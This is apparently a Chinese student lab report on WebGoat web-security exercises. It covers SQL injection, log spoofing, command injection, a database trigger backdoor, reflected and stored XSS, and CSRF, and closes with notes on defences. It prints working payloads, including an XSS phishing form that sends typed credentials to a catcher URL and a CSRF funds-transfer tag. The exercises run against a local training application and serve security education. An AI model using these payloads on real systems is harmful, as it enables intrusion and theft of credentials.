20155217《网络对抗》Exp09 Web安全基础实践

20155217《网络对抗》Exp09 Web安全基础实践

实践内容

  • 关于webgoat:询问了不少人在安装webgoat时出现了错误,安装失败,所以直接经过同窗copy了老师的虚拟机进行本次实验。
  • 输入命令java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat

  • WebGoat使用8080端口,因此在浏览器上访问localhost:8080/WebGoat进入WebGoat。

String SQL Injection

  • 按提示先输入Smith,发现出如今SELECT * FROM user_data WHERE last_name = 'Smith'两个单引号中间,所以咱们能够经过控制在输入框中输入的字符串来控制select语句。
  • 输入'or 1='1,代码变为SELECT * FROM user_data WHERE last_name = ''or 1='1',这里的1='1'为永真式,所以成功显示全部信用卡号。

LAB:SQL Injection(Stage 1:String SQL Injection)

  • 不少网站密码验证都是select * from User where username=''and password ='',理论上只要pwd = 'or 1=1 --,就能够实现任何用户的登陆。
  • 但实际上,以用户Neville登陆,在密码栏中输入'or 1=1 --进行SQL注入登陆失败:

  • 查看代码发现,密码长度定义为8位,而咱们须要输入的'or 1=1 --为10位,所以须要修改长度为10。

  • 输入'or 1=1 --,登陆成功。

Stage 3: Numeric SQL Injection

  • 先修改密码长度,而后输入'or 1=1 --以larry登陆,登录后看到浏览员工信息的按钮是ViewProfile

  • 分析这个按钮的代码,发现这个地方是以员工ID做为索引传递参数的。咱们要达到经过Larry来浏览老板帐户信息的目的,通常来讲老板的工资都应该是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:

  • 以后就能够查看到老板的信息:

Log Spoofing

  • 由于输入的用户名会被追加到日志文件中,因此能够欺骗管理员来使用户名为“admin”的用户在日志中显示“成功登陆”。
  • 输入yd%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符。

Numeric SQL Injection

  • 修改SELECT * FROM weather_data WHERE station = 101 or 1=1为永真式来达到查看所有天气数据的目的。

  • 选中Columbia,点Go,能够看到全部天气数据。

Command Injection

  • 为了能在目标主机上执行系统命令,修改代码:在AccessControlMatrix.help旁边加上"&&ifconfig":

  • 在下拉菜单中能看到修改后的值:

  • 选中修改后的值再点view,能够看到命令被执行,出现系统网络链接状况:

Database Backdoors

  • 根据提示在以下页面输入工号,进行查询一些信息:

  • 发现客户端输入的查询语句没有在服务器端进行验证。输入101; update employee set salary=10000,服务器为咱们更新。
  • 输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='邮箱' WHERE userid = NEW.userid,使没建立一个新用户的时候,自动为其填充为咱们所但愿的邮箱。

Phishing with XSS

  • 在搜索框中输入任何内容,搜索后都会显示在下方。

  • 能够输入一个html代码,添加html认证信息,经过提交时将认证信息提交服务器。

  • 此次html完整代码以下:
</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

Reflected XSS Attacks

  • 须要在相应信息栏输入包含URL值的内容,使当前页面跳转到另外一个(指定)网页,或者当用户点击purchase的时候跳出恶意信息。
  • 在最后一个输入框中输入<script>alert("20155217says hello");</script>,点击purchase,弹出以下对话框。

  • 也能够输入指定URL(login.html是从虚拟机中找的,存储在/var/www/html目录下):<script>window.location.href="http://127.0.0.1:8080/login.html";</script>

Stored XSS Attacks

  • 利用脚本语言在网页中编写非法的留言内容,使得其余用户访问该页面的时候执行编写的脚本。
  • message输入框中输入<script>alert("attacked by yangdi");</script>执行脚本。

虽然以上这两个实验效果同样,但原理是不同的。存储型XSS是持久化的,代码是存储在服务器中,比较典型的例子就是上面所用的留言板;而反射型XSS攻击是非持久化的,应用的场景好比欺骗用户本身去点击连接才能触发XSS代码,也就是说它的代码是不存在服务器中的。

Cross Site Request Forgery (CSRF)

  • 输入<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=4000"/>来构造邮件。
  • 提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的4000元,从而达到CSRF攻击的目的。

基础问题回答

SQL注入攻击原理,如何防护

  • SQL注入产生的缘由,和栈溢出、XSS等不少其余的攻击方法相似,就是未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。针对于SQL注入,则是用户提交的数据,被数据库系统编译而产生了开发者预期以外的动做。也就是,SQL注入是用户输入的数据,在拼接SQL语句的过程当中,超越了数据自己,成为了SQL语句查询逻辑的一部分,而后这样被拼接出来的SQL语句被数据库执行,产生了开发者预期以外的动做。
  • 解决办法:从根本上防止上述类型攻击的手段,仍是避免数据变成代码被执行,时刻分清代码和数据的界限。而具体到SQL注入来讲,被执行的恶意代码是经过数据库的SQL解释引擎编译获得的,因此只要避免用户输入的数据被数据库系统编译就能够了。

XSS攻击的原理,如何防护

  • XSS攻击是Web攻击中最多见的攻击方法之一,它是经过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,造成了一次有效XSS攻击,一旦攻击成功,它能够获取用户的联系人列表,而后向联系人发送虚假诈骗信息,能够删除用户的日志等等,有时候还和其余攻击方式同时实 施好比SQL注入攻击服务器和数据库、Click劫持、相对连接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。
  • 解决方法:一种方法是在表单提交或者url参数传递前,对须要的参数进行过滤。过滤用户输入的检查用户输入的内容中是否有非法内容。如<>%;()&+等严格控制输出。

CSRF攻击原理,如何防护

  • CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击同样,存在巨大的危害性,能够这样来理解:攻击者盗用了a的身份,以a的名义发送恶意请求,对服务器来讲这个请求是彻底合法的,可是却完成了攻击者所指望的一个操做,好比以a的名义发送邮件、发消息,盗取a的帐号,添加系统管理员,甚至于购买商品、虚拟货币转帐等。
  • 解决办法:目前防护 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP头中自定义属性并验证。

实验总结与体会

此次实验对我来讲难点之一在于webgoat全英文的实验环境,实验的理解与完成很大程度上是在谷歌的帮助下作完的,心累累。另外,SQL注入攻击XSS攻击等是关于web安全方面的攻击,本次在具体情形下进行实践,感受比以往理解的更加透彻一些,并且更容易找到一些攻击的规律(多是对能偷懒的方法天生敏锐吧~)。html